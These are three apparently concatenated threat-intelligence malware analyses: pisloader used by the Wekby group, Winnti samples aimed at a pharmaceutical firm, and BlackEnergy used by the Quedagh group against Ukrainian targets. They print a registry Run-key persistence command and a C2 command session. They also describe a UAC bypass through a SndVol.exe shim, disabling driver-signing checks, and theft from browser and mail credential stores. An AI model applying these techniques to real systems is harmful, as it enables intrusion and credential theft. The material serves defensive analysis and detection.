The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero-day exploit.
The malware used by the Wekby group has ties to the HTTPBrowser malware family, and uses DNS requests as a command and control mechanism.
Additionally, it uses various obfuscation techniques to thwart researchers during analysis.
Based on metadata seen in the discussed samples, Palo Alto Networks has named this malware family pisloader.
Infrastructure The pisloader malware family was delivered via HTTP from the following URL.
At the time of writing, this URL was still active.
http://globalprint-us[.
]com/proxy_plugin.exe Other samples hosted on this domain include the following: http://globalprint-us[.
]com/proxy_web_plugin.exe MD5: E4968C8060EA017B5E5756C16B80B012 SHA256: 8FFBB7A80EFA9EE79E996ABDE7A95CF8DC6F9A41F9026672A8DBD95539FEA82A Size: 126976 Bytes Compile Time: 2016-04-28 00:38:46 UTC This discovered file was found to be an instance of the common Poison Ivy malware family with the following configuration data: Command and Control Address: intranetwabcam[.
]com Command and Control Port: 80 Password: admin Mutex: )VoqA.I5 The domains witnessed in this attack were all registered very shortly prior to being used.
The following domains have been witnessed in this attack: Additionally, the following IP resolutions have been observed.
Initial Dropper The following sample was discovered initially and is referenced in the subsequent analysis: MD5: E8D58AA76DD97536AC225949A2767E05 SHA256: DA3261C332E72E4C1641CA0DE439AF280E064B224D950817A11922A8078B11F1 Size: 126976 Bytes Compile Time: 2016-04-27 14:37:34 UTC This particular file has the following metadata properties.
The references to pisload2 led to the naming of this malware family.
Figure 1 pisloader dropper metadata The initial dropper contains very simple code that is responsible for setting persistence via the Run registry key, and dropping and executing an embedded Windows executable.
Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used strcpy and strcat calls to re-build them prior to use.
They also used this same technique to generate garbage strings that are never used.
This is likely to deter detection and analysis of the sample.
The following decompiled code demonstrates this.
Comments have been added to show the fully-generated strings.
Figure 2 pisloader dropper building strings and setting persistence In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key.
cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v lsm /t reg_sz /d appdata\lsm.exe /f This particular command will set the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lsm registry key with a value of appdata\lsm.exe.
After this key is set, the malware proceeds to decrypt a two blobs of data with a single-byte XOR key of 0x54.
The resulting data is written to the appdata\lsm.exe file path.
After this file is written, the malware executes the newly written lsm.exe file, which contains the pisloader payload.
Payload The following sample was discovered and is referenced in the subsequent analysis: MD5: 07B9B62FB3B1C068837C188FEFBD5DE9 SHA256: 456FFFC256422AD667CA023D694494881BAED1496A3067485D56ECC8FEFBFAEB Size: 102400 Bytes Compile Timestamp: 2016-04-27 13:39:02 UTC The payload is heavily obfuscated using a return-oriented programming (ROP) technique, as well as a number of garbage assembly instructions.
In the example below, code highlighted in red essentially serves no purpose other than to deter reverse-engineering of the sample.
This code can be treated as garbage and ignored.
The entirety of the function is highlighted in green, where two function offsets are pushed to the stack, followed by a return instruction.
This return instruction will point code execution first at the null function, which in turn will point code execution to the next_function.
This technique is used throughout the runtime of the payload, making static analysis difficult.
Figure 3 Obfuscated code witnessed in pisloader The malware is actually quite simplistic once the obfuscation and garbage code is ignored.
It will begin by generating a random 10-byte alpha-numeric header.
The remaining data is base32-encoded, with padding removed.
This data will be used to populate a subdomain that will be used in a subsequent DNS request for a TXT record.
The use of DNS as a C2 protocol has historically not been widely adopted by malware authors.
Notable exceptions include the following: FrameworkPOS C3PRO-RACCOON FeederBot Morto PlugX Variants The use of DNS as a C2 allows pisloader to bypass certain security products that may not be inspecting this traffic correctly.
Figure 4 DNS query for TXT record by malware The pisloader sample will send a beacon periodically that is composed of a random 4-byte uppercase string that is used as the payload.
An example of this can be found below: Figure 5 pisloader DNS beacon request The malware expects various aspects of the DNS responses to be set in a specific way, or else pisloader will ignore the DNS reply.
The following DNS flags must be set.
Should any additional flags be set, the response will be ignored.
Response Recursion Desired Recursion Available The Questions field must be set to a value of 0x1.
The Answer Resource Records field must be set to a value of 0x1.
Additionally, the response query subdomain must match the original DNS request.
The remote command and control (C2) server is statically embedded within the malware.
A single host of ns1.logitech-usa[.
]com is found in this specific sample.
The C2 server will respond with a TXT record that is encoded similar to the initial request.
In the response, the first byte is ignored, and the remaining data is base32-encoded.
An example of this can be found below.
Figure 6 Example TXT response by C2 server The following commands, and their descriptions are supported by the malware: sifo  Collect victim system information drive  List drives on victim machine list  List file information for provided directory upload  Upload a file to the victim machine open  Spawn a command shell Some examples of these commands being used can be seen below.
A mock DNS server was used to generate the commands and receive the resulting data.
Example sending the drive command: Example sending the open command: 1 2 3 [] Sending Command: drive  Encoded: CMRZGS5TF [] Raw Data Received: UMAVMGAGD0IE5FY7CDHJOHYRB2LR6A [] Decoded Data Received: A:\C:\D:\ 1 2 [] Sending Command: open  Encoded: CN5YGK3Q [] Raw Data Received: ULCBMGAGCAJVUWG4TPONXWM5BAK5UW4ZDPO5ZSAW2WMVZHG2LP Example sending the sifo command: Example listing the contents of the C:\ drive: The sifo command above uses the printf format string of lscsos.
This is consistent with previous versions of HTTPBrowser, which is another malware family frequently used by the Wekby group.
Additionally, a number of commands themselves, such as the list, drive, and upload commands are consistent with HTTPBrowser.
The formatted responses from these commands are also identical.
A known HTTPBrowser sample was spotted with similar metadata as the discussed pisloader sample, which adds further credibility that pisloader is likely a variant of this malware family.
Additionally, the code used to generate these commands is available via GitHub.
3 4 5 6 7 8 9 10 11 [] Raw Data Received: ATABMGAGCBNYQDMLRRFY3TMMBRLUGQUQ3POB4XE2LHNB2CAKDD [] Raw Data Received: HTPDMGAGCCFEQDEMBQHEQE22LDOJXXG33GOQQEG33SOBXXEYLU [] Raw Data Received: BNJWMGAGCDNFXW4LRAEBAWY3BAOJUWO2DUOMQHEZLTMVZHMZLE [] Raw Data Received: UARCMGAGCEFYGQUDIKIM5FYVLTMVZHGXCKN5ZWQICHOJ2W46TX [] Raw Data Received: UJRAMGAGC0MVUWOXCEMVZWW5DPOA7A [] Decoded Data Received: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation.
All rights reserved.
C:\Users\Josh Grunzweig\Desktop 1 2 3 4 5 [] Sending Command: sifo  Encoded: CONUWM3Y [] Raw Data Received: FUBWMGAGIANQ6TCNZSFYYTMLRRFYYTKMZGMM6VOSKOFVGEUTCW [] Raw Data Received: PGHRMGAGIBGJHEWSKPJNICAW2KN5ZWQICHOJ2W46TXMVUWOXJG [] Raw Data Received: MMAZMGAGI0N46TMLBRFQZTE [] Decoded Data Received: l172.16.1.153cWIN-LJLV2NKIOKP [Josh Grunzweig]o6,1,32 1 2 3 4 5 6 7 8 9 10 [] Sending Command: list C:\  Encoded: CNRUXG5BAIM5FY [] Raw Data Received: QKTUMGAGLAGB6CIUTFMN4WG3DFFZBGS3T4GIYDCNJPGAZS6MRW [] Raw Data Received: EKNPMGAGL0EAYTIORUGA5DKN34GB6DEMS6 [] Raw Data Received: RKMAMGAGLAGF6GC5LUN5SXQZLDFZRGC5D4GIYDAOJPGA3C6MJQ [] Raw Data Received: NMSIMGAGL0EAZDCORUGI5DEMD4GI2HYMZSLY [] Raw Data Received: OHRWMGAGLAGB6EE33POR6DEMBRGUXTAMZPGI3CAMJWHIZDIORQ [] Raw Data Received: DPDUMGAGL0GJ6DA7BSGJPA [] Raw Data Received: WIKGMGAGLAGF6GE33PORWWO4T4GIYDCNBPGA3C6MRYEAYDAORS Truncated [] Decoded Data Received: 0Recycle.
Bin2015/03/26 14:40:570221autoexec.bat2009/06/10 21:42:2024320Boot2015/03/26 16:24:020221bootmgr2014/06/28 00:21:34391640391BOOTSECT.BAK2015/03/26 16:35:398192391config.sys2009/06/10 21:42:2010320Documents and Settings2009/07/14 04:53:55092381Example.log2016/02/09 20:17:550321pagefile.sys2016/04/25 14:09:201660411904380PerfLogs2009/07/14 02:37:050160Program Files2016/02/29 15:59:430170ProgramData2016/02/02 17:28:04082100Python272016/02/25 16:39:370160Recovery2015/03/26 14:39:57082140System Volume Information2016/02/29 16:00:190220Users2015/03/26 14:39:580170Windows2016/02/12 10:20:21016end Conclusion The Wekby group continues to target various high profile organizations using sophisticated malware.
The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.
Palo Alto Networks customers are protected against this threat in the following ways: WildFire correctly identifies all pisloader samples as malicious A pisloader AutoFocus tag has been created in order to track this malware family All domains/IPs used in this attack have been flagged as malicious.
An IPS rule has been created to detect pisloader DNS traffic Appendix External Resources https://blog.anomali.com/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via- custom-rop http://www.volexity.com/blog/?p158 https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage https://www.zscaler.com/blogs/research/chinese-cyber-espionage-apt-group-leveraging-recently- leaked-hacking-team-exploits-target-financial-services-firm https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html SHA256 Hashes da3261c332e72e4c1641ca0de439af280e064b224d950817a11922a8078b11f1 930772d6af8f43f62ea78092914fa8d6b03e8e3360dd4678eec1a3dda17206ed 6852ba95720af64809995e04f4818517ca1bd650bc42ea86d9adfdb018d6b274 9200f80c08b21ebae065141f0367f9c88f8fed896b0b4af9ec30fc98c606129b 4d62caef1ca8f4f9aead7823c95228a52852a1145ca6aaa58ad8493e042aed16 1b341dab023de64598d80456349db146aafe9b9e2ec24490c7d0ac881cecc094 456fffc256422ad667ca023d694494881baed1496a3067485d56ecc8fefbfaeb Domains ns1.logitech-usa[.
]com globalprint-us[.
]com intranetwabcam[.
]com login.access-mail[.
]com glb.it-desktop[.
]com local.it-desktop[.
]com hi.getgo2[.
]com
Games are over: Winnti is now targeting pharmaceutical companies For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically.
Recently, weve seen information indicating that the scope of targets can be wider and is no longer limited to the entertainment business.
We actually track samples of Winnti malware all the time, but so far we havent been able to catch one with solid clues indicating other targeted industries.
Also our visibility as a vendor does not cover every company in the world (at least so far )) and the Kaspersky Security Network (KSN) did not reveal other attacks except those against gaming companies.
Well, sometimes targeted entities have included telecommunication companies, or better, large holdings, but it seems that at least one of their businesses was in some way related to the production or distribution of computer games.
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group.
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber- espionage attacks against a whole range of different industries.
For us, the Novetta report was another source of intelligence that Winnti was already expanding beyond online games.
One of the recent Winnti samples we found appears to confirm this as well.
The new sample belongs to one of the Winnti versions described in Novettas report  Winnti 3.0.
This is one of the Dynamic Link Libraries composing this RAT (Remote Access Trojan) platform  the worker library (which in essence is the RAT DLL) with the internal name w64.dll and the exported functions work_end and work_start.
Since, as usual, this component is stored on the disk with the strings and much of other data in the PE header removed/zeroed, it is impossible to restore the compilation date of this DLL.
But this library includes two drivers compiled on August 22 and September 4, 2014.
The sample has an encrypted configuration block placed in overlay.
This block may include a tag for the sample usually it is a campaign ID or victim ID/name.
This time the operators put such tag in the configuration and it turned out to be the name of the well-known global pharmaceutical company headquartered in Europe: Pic.1 Configuration block Besides the sample tag, the configuration block includes the names of other files involved in the working https://securelist.com/analysis/internal-threats-reports/37029/winnti-more-than-just-a-game/ http://www.novetta.com/2015/04/operation-smn-winnti-update/ http://www.isightpartners.com/2014/10/operation-smn-axiom-group/ https://kasperskycontenthub.com/securelist/files/2015/06/cfg.png of the RAT platform and the service name (Adobe Service), after which malware is installed.
The presence of the following files could indicate that the system has been compromised: C:\Windows\TEMP\tmpCCD.tmp ServiceAdobe.dll ksadobe.dat One of the mentioned drivers (a known, malicious Winnti network rootkit) was signed with a stolen certificate of a division of a huge Japanese conglomerate.
Although this division is involved in microelectronics manufacturing, other business directions of the conglomerate include development and production of drugs as well as medical equipment.
Although the nature of the involvement of Winnti operators, who were earlier perceived to be a threat only to the online gaming industry, in the activities of other cyber-espionage teams still remains rather obscure, the evidence is there.
From now on, when you see Winnti mentioned, dont think just about gaming companies consider also at least targeted telecoms and big pharma companies.
Here are the samples in question: 8e61219b18d36748ce956099277cc29b  Backdoor.
Win64.Winnti.gy 5979cf5018c03be2524b87b7dda64a1a  Backdoor.
Win64.Winnti.gf ac9b247691b1036a1cdb4aaf37bea97f  Rootkit.
Win64.Winnti.ai
BLACKENERGY  QUEDAGH The convergence of crimeware and APT attacks CONTENTS Introduction 2 Attack overview 2 Infection vectors 3 Target details 4 2008 cyberattacks on Georgia?
4 Ukraine-related proxies 4 Timeline 6 Technical details 8 UAC bypass during installation 8 Driver signing policy bypass 8 Hijacking existing drivers 9 Driver component 9 Main DLL component 10 BlackEnergy 3  10 Information-stealing plugin 11 Network traffic 12 Conclusions 13 Appendix A  Samples 14 BlackEnergy is a toolkit that has been used for years by various criminal outfits.
In the summer of 2014, we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting.
These samples were identified as being the work of one group, referred to in this document as Quedagh, which has a history of targeting political organizations.
The Quedagh-related customizations to the BlackEnergy malware include support for proxy servers and use of techniques to bypass User Account Control and driver signing features in 64-bit Windows systems.
While monitoring BlackEnergy samples, we also uncovered a new variant used by this group.
We named this new variant BlackEnergy 3.
The use of BlackEnergy for a politically-oriented attack is an intriguing convergence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom- made piece of code.
TLP: WHITE F-SECURE LABS SECURITY RESPONSE Malware Analysis Whitepaper 2 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks INTRODUCTION BlackEnergy is a popular crimeware (that is, malware designed to automate criminal activities) that is sold in the Russian cyber underground and dates back to as early as 2007.
Originally, it was designed as a toolkit for creating botnets for use in conducting  Distributed Denial of Service (DDoS) attacks.
Over time, the malware has evolved to support different plugins, which are used to extend its capabilities to provide necessary functions, depending on the purpose of an attack.
Given the nature of its toolkit, BlackEnergy has unsurprisingly been used by different gangs for different purposes some use it for sending spam, others for stealing banking credentials.
The most notorious use may be when it was used to conduct cyberattacks against Georgia during the Russo-Georgian confrontation in 2008.
In the summer of 2014, BlackEnergy caught our attention when we noticed that samples of it were now tailored to target Ukrainian government institutions.
Though it may be unrelated, it is interesting to note that this change conveniently coincides with the on-going crisis in that country.
Related or not, one thing is certain: the actor(s) using these customized BlackEnergy malware are intent on stealing information from the targets.
The use of this crimeware in what constitutes as an advance persistent threat (APT) attack is interesting.
In black operations (black ops), an important criteria is that the attack should not be attributable - and what provides better plausible deniability than crimeware known to be used by multiple parties?
In this paper we focus only on BlackEnergy samples known to be used specifically by the actors we identify as Quedagh, who seem to have a particular interest in political targets.
Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year.
ATTACK OVERVIEW At the time of writing, we have little information on how exactly victims are receiving the BlackEnergy malware being pushed by the Quedagh gang.
An educated guess is that they are receiving the malware via targeted emails containing malicious attachments.
Meanwhile, the following infection and technical details are based on samples gathered after searching through F-Secure Labs collection of all BlackEnergy samples and identifying those with Quedagh characteristics.
Figure 1: BlackEnergy Builder from 2007 The BlackEnergy toolkit comes with a builder application which is used to generate the clients that the attacker(s) use to infect victim machines.
The toolkit also comes with server-side scripts, which the attackers set up in the command and control (CC) server.
The scripts also provide an interface where an attacker can control his bots.
The simplicity and convenience provided by the toolkit means that anyone who has access to the kit can build his own botnet without any skills required.
The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 3 Some earlier installer variants, then named regedt32.
exe, were distributed by documents exploiting software vulnerabilities, one of which was CVE-2010-3333.
These documents drop and execute the installer, then open a decoy document.
It is reasonable to assume that a similar approach has been used to deliver the more recent installer variants.
The installer filename of BlackEnergy 3 is still msiexec.exe.
However, it is delivered and executed by a dropper which opens a decoy document in the foreground.
We also encountered a standalone, non-persistent sample that pretends to be Adobe Flash Player Installer.
It does not use any decoy document or application and does not run after reboot.
The overview below summarizes the various infection vectors used by the Quedagh gang to deliver BlackEnergy crimeware to the designated targets.
OVERVIEW OF INFECTION VECTORS USED AGAINST UKRAINIAN TARGETS APP APP msiexec.exe msiexec.exe msiexec.exe INSTALLER INSTALLER INSTALLER Decoy document Decoy document Clean app PERSISTENT component PERSISTENT component PERSISTENT component NON-PERSISTENT component Trojanized app Exploit document Dropper malware Fake installer The original BlackEnergy toolkit first emerged in 2007 and is referred to in this paper as BlackEnergy 1.
A later variant of the toolkit (BlackEnergy 2) was released in 2010.
We also encountered a previously unseen variant, which had been rewritten and uses a different format for its configuration.
It also no longer uses a driver component.
We dubbed this new variant BlackEnergy 3.
INFECTION VECTORS Most of the recent BlackEnergy installers collected are named msiexec.exe.
We believe they are either dropped by another executable that uses social engineering tricks to mislead the user into executing the installer, or by documents containing exploits that silently perform the installation.
We found at least 2 trojanized legitimate applications that execute the installer (in addition to their legitimate tasks).
Trojanization is an effective infection method, as most users have no way of observing that a malicious component is being installed in tandem with a legitimate program.
4 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks Image 2: Decoy document circa 2012 Image 3: Strings from a sample circa 2012 TARGET DETAILS From the very earliest variants we were able to attribute to Quedagh, we have noticed that their targets have been political in nature.
Apart from other indicators, we can deduce the nature of the target based on the content of social engineering tactics used to distribute the installers.
For example, one decoy dropped from a sample dating to 2012 (image 2) seems to be targeting European audiences and discusses a political/economic situation.
Strings found in another sample from 2012 (image 3) again indicate a political motivation behind the attack.
Most decoys used content taken from news sites we noted one decoy dropped by an exploit document was created using the Russian version of Office (image 4).
The latest variant of the dropper pretends to be a document file with a Ukrainian filename (image 5).
The choice of language for the filename again may tie in or reference the current political crisis in that country.
The filename itself means password list in English.
2008 CYBERATTACKS ON GEORGIA?
During our investigation, we found interesting details that lead us to suspect that Quedagh might have been involved in the cyberattacks launched against Georgia during the 2008 Russo-Georgian confrontation.
While the details identified are suggestive, they are not conclusive they do however seem consistent with the groups involvement in subsequent targeted attacks.
UKRAINE-RELATED PROXIES While examining the samples collected during our BlackEnergy monitoring, we noticed that samples from this year had been updated to support the use of proxy servers while connecting to their CC servers.
This contrasts with earlier BlackEnergy 2 variants, which do not support proxy servers.
In some network setups, a proxy server is needed to allow internal users to access the Internet [1].
BlackEnergys use of a proxy server may indicate that the gang has prior knowledge of the target organizations internal setup to note of this requirement.
For example, in one sample the configuration uses the proxy server associated with the Ukrainian Railway (image 6).
The configuration from another sample also shows it using an internal proxy under the giknpc domain (image 7).
The domain giknpc.com.ua in turn hosts 3 domains (image 8), one of which is for the city of Dnipropetrovsk (image 9), the fourth-largest city in Ukraine, located in the southeast.
Based on the set proxy servers for the different samples, we concluded that the gang is targeting Ukrainian government organizations.
The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 5 Image 5: 2014 dropper sample disguised as a document.
The filename means password list Image 6: Configuration using Ukrainian Railways proxy Image 7: Configuration using internal proxy under giknpc domain Image 8: Domains hosted on giknpc.com Image 9: Dnipropetrovsk domain Image 4: Decoy document created using a Russian version of Office 6 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks TIMELINE Although they may have started much earlier, the earliest BlackEnergy sample we could attribute to the Quedagh gang is from December 14, 2010.
Initially, the group seemed to prefer to use the filename of the Windows registry editor (regedt32.exe), presumably because the installer needs administrator rights to install its driver component and therefore would try to request for the highest available rights (image 10), if possible.
As this triggers a notification message visible to the user, said user is more likely to grant permission if it appears to be the registry editor that is requesting for permission, since it is normal to run it with administrator rights.
Experienced users though are less likely to be taken in, thereby decreasing the likelihood of a successful infection.
Starting April 2013, modified installers appeared showing that the Quedagh group found a way to bypass the default User Account Control (UAC) settings.
With this change, the users permission is no longer need (image 11).
At this point, the gang also began to use the Windows installer program filename msiexec.exe.
64-bit support Within a month of Windows 8.1s release, the gang had quickly added support for 64-bit systems, possibly anticipating that more of their target systems will be migrated to 64-bit systems.
They also employ a neat trick to bypass the driver signing requirement on 64- bit Windows systems.
As a side note, this latest finding updates and supercedes previously published research related to BlackEnergys driver signing behavior [2].
However, this trick doesnt work on Windows 8 and later systems.
The driver also crashes occassionally.
This could be the reason for the stand-alone non-persistent BlackEnergy variant.
BlackEnergy 3 We identified the new BlackEnergy 3 variant first by the change in its configuration, which differed from those of its two predecessors, 1 and 2 (images 12 to 14).
It also no longer uses a driver component [3].
Further technical details are documented on page 10 to 11.
Image 10: Installer requesting highest available rights Image 11: Installer execution privilege level amended Image 14: BlackEnergy 3 configuration Image 12: BlackEnergy 1 configuration Image 13: BlackEnergy 2 (aka BotnetKernel  or bkernel [4] ) configuration 2007 2010 20132008 2009 2011 2012 2014 BlackEnergy 1 BlackEnergy 2 BlackEnergy 3 CYBERATTACKS AGAINST GEORGIA First installer (regedt32.exe) New UAC- bypassing installer (msiexec.exe) Quedagh APT campaign BLACKENERGY Development 64-bit support for BlackEnergy 2 driver Targets Ukrainian entities May 12 Some time after Dec 25Nov 14Apr 9Dec 14 TIMELINE OF BLACKENERGY  QUEDAGH HISTORY POLITICAL CRISIS IN UKAINE 8 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks TECHNICAL DETAILS UAC BYPASS DURING INSTALLATION The malware will only attempt to infect a system if the current user is a member of the local administrator group.
If not, it will re-launch itself as Administrator on Vista.
This in effect will trigger a UAC prompt.
On Windows 7 and later however, the malware will attempt to bypass the default UAC settings.
It exploits a backward-compatibility feature found in newer versions of Windows.
BlackEnergy installers include a Shim Database, or a fix, instructing SndVol.exe to execute cmd.exe (image 15, below) instead in order to resolve the incompatibility.
SndVol.exe is one of the Windows executables that will be automatically elevated upon execution because it is thought to be safe.
What harm can a volume control cause?
With the malicious fix installed however, executing SndVol.exe will execute the not-so-safe file cmd.exe instead, which can then be used to install the malware while in an elevated state.
DRIVER SIGNING POLICY BYPASS The role of the installer is to set up the malwares persistent component, which is the driver component.
On 64-bit Windows systems, Microsoft has enforced a policy that requires all drivers to be signed as a security precaution.
Signing provides a way to identify a driver to its author, effectively reducing the number of malware developers willing to take the risk.
To allow developers to test their drivers during development, Microsoft provides a TESTSIGNING boot configuration option while in this mode, a watermark is displayed on the screen to make it obvious to users and to prevent malware from exploiting this option.
BlackEnergy enables the TESTSIGNING option to load its driver component to hide this change from the user, the malware removes the watermark by removing the relevant strings in the user32.dll.mui of the system.
In Windows 8 and up however, the strings are no longer stored in user32.dll.mui, so the trick will not work.
This may be one of the reasons for the existence of a standalone non- persistent BlackEnergy variant.
The malware does not infect 64-bit Windows systems that are older than Vista.
Image 15: Malicious fix to redirect SndVol.exe to cmd.exe.
Inset: Test Mode watermark The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 9 HIJACKING EXISTING DRIVERS The installer will try to locate an existing driver service that is inactive.
The service found will usually be a legitimate one that is disabled because it is no longer used or because it is set to start only on demand.
The installer will drop the driver component using the corresponding path of the service.
It will overwrite the existing driver if necessary.
The hijacked service is then set to start automatically.
This is how the malware is able to survive after a reboot.
By doing this, the gang may be hoping that their malicious driver will be overlooked by administrators or investigators who are so used to seeing those legitimate services.
DRIVER COMPONENT The only component that will remain permanently on the infected system will be the driver component.
The driver component used by the gang is a stripped down version of the BlackEnergy 2 driver.
The sole purpose of this driver component is to inject the main DLL component into svchost.exe.
Interestingly, it does not contain the rootkit functionalities for hiding processes, files and registry objects that is found in the usual BlackEnergy 2 drivers.
The gang may have opted for a hide in plain sight approach to evade detections from rootkit scanners, such as GMER and RootkitRevealer, that checks for system anomalies.
The driver component provides a IOCTL interface to communicate with the main DLL component.
Table 1 (above) summarizes the command codes that can be passed to the IOCTL buffer.
The 32-bit version contains additional, incomplete routines for hiding processes via direct kernel object manipulation (DKOM) and managing BlackEnergy 2 rootkit rules in memory [2].
Code Function 6 Loads a driver into memory 9 Does not do anything just returns true.
Previously contained an uninstall routine.
10 Returns the registry path and driver file path Locate inactive drivers Replace with driver component Additional steps on 64-bit systems Enable TESTSIGNING Remove Test Mode watermark Run as administratorBypass UAC Need rights?
Temporary component INSTALLER DRIVER MAIN DLL Persistent component svchost.exe Installs Injects DIAGRAM 1: INSTALLATION FLOW DIAGRAM 2: ROLE OF DRIVER COMPONENT TABLE 1: IOCTL BUFFER COMMAND CODES 10 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks BlackEnergy 2 was very well documented by Dell SecureWorks [5] in 2010.
Table 2 (above) summarizes the differences between the driver component used by Quedagh compared to the typical BlackEnergy 2.
MAIN DLL COMPONENT The core functionality of BlackEnergy 2 is found in the main DLL component.
This component is embedded inside the driver component and is not found in the file system this is to reduce the infection footprint on the system.
The main DLL provides a robust framework for attackers to maintain a botnet that is not tied to any specific functionality.
The malware is designed to be used by loading customized plugins depending on the purpose of the botmaster.
It is mainly a framework for plugins to communicate with a central command and control.
Otherwise, the main DLL only provides a minimal set of commands.
Table 3 (above) summarizes the commands supported by the variants used in the attack against Ukrainian government organizations.
In BlackEnergy 2, the main DLL component communicates with its plugins via a defined set of API calls.
It exports a number of function calls, which can be used by the plugins.
On the other hand, plugins are required to export 2 functions to work.
We highly recommend the research of Dell SecureWorks for those looking for more details regarding the BlackEnergy 2 plugin framework.
BLACKENERGY 3 In contrast to previous variants, BlackEnergy 3 uses a simpler installer component.
It does not have a driver component and the installer drops the main DLL component directly to the local application data (non- roaming) folder.
The installer then creates a LNK file in the startup folder, using a filename generated based on the volume serial number as a launch point.
The LNK file is a shortcut to execute the main DLL using rundll32.exe.
Command Description rexec Download and execute a binary lexec Execute a shell command die Uninstall getpl Load a plugin turnoff Quit (will start again after reboot) chprt Add / remove / set active command and control server Typical BlackEnergy 2 Quedagh BlackEnergy 2 Launch Point Creates a new service based on either a hardcoded or randomly generated name (depending on the installer) Hijacks an existing legitimate service Role Hides processes, files and registry objects Inject main DLL to svchost.exe Injects main DLL to svchost.exe Versions 32-bit driver component that contains complete routines in its IOCTL interface 32-bit driver component with a lot of remnant routines in its IOCTL interface, only a few of which make sense.
After Nov 11, 2013, the 64-bit driver component is available and provides limited functionalities in IOCTL interface (only those equivalent working routines found in the 32-bit versions) TABLE 2: TYPICAL BLACKENERGY DRIVER COMPONENT VERSUS  QUEDAGHS CUSTOM COMPONENT TABLE 3: COMMANDS SUPPORTED BY VARIANTS TARGETED AT UKRAINIAN ENTITIES TABLE 4: X509_ASN FIELDS  EQUIVALENT BLACKENERGY 2 XML NODE The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 11 ID BlackEnergy 2 Node Description 1 servers The command and control servers 2 plugins Plugins to be loaded 3 cmds Commands to be executed 4 build id Build ID 5 sleepfreq Phone home interval Command Description delete Uninstall ldplg Load a plugin unlplg Unload a plugin update Update main DLL dexec Download and execute an executable exec Download and execute a binary updcfg Update the configuration data This variant uses a new configuration format.
The configuration data is a series of X509_ASN encoded values and are accessed by an ID number.
Table 4 summarizes the fields and their equivalent BlackEnergy 2 XML node, while table 5 lists the completely new set of commands used in this latest variant.
BlackEnergy 3 also uses a different method of communication with its plugins, as it now communicates via RPC over the named-pipe protocol (ncacn_np).
INFORMATION-STEALING PLUGIN Since the main DLL component offers little clue as to what the malware was used for, we need to look at the plugin to determine the objective of the gang.
One particular plugin that was used in the campaign was called si, perhaps to mean steal information.
The latest sample we found will attempt to gather the following information and send them to the CC server: System configuration information (gathered via systeminfo.exe) Operating system version Privileges Current time Up time Idle Time Proxy Installed apps (gathered from uninstall program registry) Process list (gathered via tasklist.exe) IP configurations (gathered via ipconfig.exe) Network connections (gathered via netstat.exe) Routing tables (gathered via route.exe) Traceroute and Ping information to Google (gathered via tracert.exe and ping.exe) Registered mail, browser, and instant messaging clients (gathered via client registry) Account and password information from The Bat email client (gathered from account.cfn and account.cfg) Stored username and passwords in Mozilla password manager of the following applications (gathered from signons.txt and signons.sqlite) Thunderbird Firefox SeaMonkey IceDragon Stored username and passwords in Google Chrome password manager of the following applications (gathered from Login Data) Google Chrome Chromium Comodo Dragon Xpom Nichrome QIP Surf Torch YandexBrowser Opera Sleipnir Account and password information from Outlook and Outlook Express Internet Explorer version and stored username and passwords Stored username and passwords in Windows Credential Store Live Remote Desktop Other generic credentials (Microsoft_ WinInet_) The nature of the information being gathered seems to be generic rather than targeted.
This may be because the malware has roots from crimeware.
The information is still useful however as such data makes it easier for the gang to plan any further attacks on the same targets.
TABLE 4: X509_ASN FIELDS  EQUIVALENT BLACKENERGY 2 XML NODE TABLE 5: BLACKENERGY 3 COMMANDS 12 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks NETWORK TRAFFIC BlackEnergy communicates with its CC server via HTTP POST requests.
For the BlackEnergy 2 samples used by the gang, the request contains the following fields: id[bot_id]bid[base64_encoded_build_ id]dv[x]mv[y]dpv[z] Where: bot_id is equivalent to the infected host name and the volume serial number following the format x[host_name]_[serial_no] (e.g.
xJOE- PC_484DA98A) build_id is the string found in the build_id field in the samples configuration data x, y, z are hardcoded values which varies among samples The fields are almost the same for BlackEnergy 3 samples: id[bot_id_sha1]bid[base64_encoded_build_ id]nm[x]cn[y]num[z] The only major difference is that the id field contain just the hash instead of the actual string.
The actual bot_id string in which the id hash is derived is also a bit different it now uses the format [domain_sid]_[host_name]_ [serial_no].
The response of the command and control server will be encrypted using the id field in the POST request as the key.
After the response is decrypted, it will be in the form of the corresponding configuration data of the BlackEnergy sample for example, BlackEnergy 2 samples expect the decrypted response to be a XML document, while BlackEnergy 3 samples expect the decrypted response to be a series X509_ASN encoded values.
The decrypted response, which is equivalent to another configuration data, will be processed similar to the initial configuration data embedded in the main DLL the only differences are the data fields that are processed.
This cycle is illustrated in diagram 3 (above).
The main DLL also uses the fields listed in table 6 (above) when it needs to download additional files.
